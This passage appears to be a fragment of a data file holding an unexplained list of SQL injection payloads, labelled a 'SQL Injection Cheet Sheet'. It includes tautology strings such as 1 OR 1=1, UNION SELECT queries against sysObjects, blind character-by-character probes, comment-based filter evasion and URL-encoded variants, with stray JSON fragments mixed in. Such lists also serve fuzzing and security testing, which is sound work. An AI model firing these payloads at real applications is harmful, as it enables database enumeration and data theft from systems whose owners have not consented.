1 OR 1=1 1\' OR \'1\'=\'1 1\'1 1 EXEC XP_ 1 AND 1=1 1\' AND 1=(SELECT COUNT(*) FROM tablenames); -- 1 AND USER_NAME() = \'dbo\' \\\'; DESC users; -- 1\\\'1 1\' AND non_existant_table = \'1 \' OR username IS NOT NULL OR username = \' 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype=\'U\'), 1, 1))) > 116 SQL Injection Cheet Sheet"},{"string": 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = \'U\' -- 1 UNI/**/ON SELECT ALL FROM WHERE %31%27%20%4F%52%20%27%31%27%3D%27%31 1' OR '1'='1 1' OR '1'='1